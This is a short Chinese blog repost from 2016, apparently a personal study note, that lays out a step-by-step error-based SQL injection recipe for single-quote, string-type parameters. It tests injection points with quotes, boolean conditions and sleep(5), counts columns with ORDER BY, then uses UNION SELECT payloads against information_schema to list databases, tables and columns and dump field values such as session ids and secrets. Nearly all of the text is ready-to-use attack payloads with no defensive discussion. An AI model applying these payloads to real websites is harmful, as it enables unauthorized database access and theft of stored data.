首页 > 数据库技术 > 详细

sql注入基于错误-单引号-字符型

时间:2016-08-11 17:31:16      阅读:344      评论:0      收藏:0      [点我收藏+]
查找注入点
在url中:
1. ‘
2. and 1=1/and 1=2
3. 随即输入(整形)
4. -1/+1回显上下页面(整形)
5. and sleep(5) (判断页面返回时间)
 
判断有多少列
order by .....
 
爆显示位
id=88888888‘) union select 1,2,3 --+
先获取数据库:
id=‘)  union select 1,2,group_concat(distinct+table_schema) from information_schema.columns  --+
再获取数据库的所有表:
id=‘) union select 1,2,group_concat(distinct+table_name) from information_schema.columns where table_schema=‘库名‘ --+
再获取表中的字段:
id=‘)  union select 1,2,group_concat(distinct+column_name) from information_schema. columns where table_name=‘表名‘ --+
再获取字段信息
id=‘)  union select 1,2,group_concat(id,sessid,secret_EXS6,tryy) from 库名.表名--+

sql注入基于错误-单引号-字符型

原文:http://www.cnblogs.com/sky--/p/5761748.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!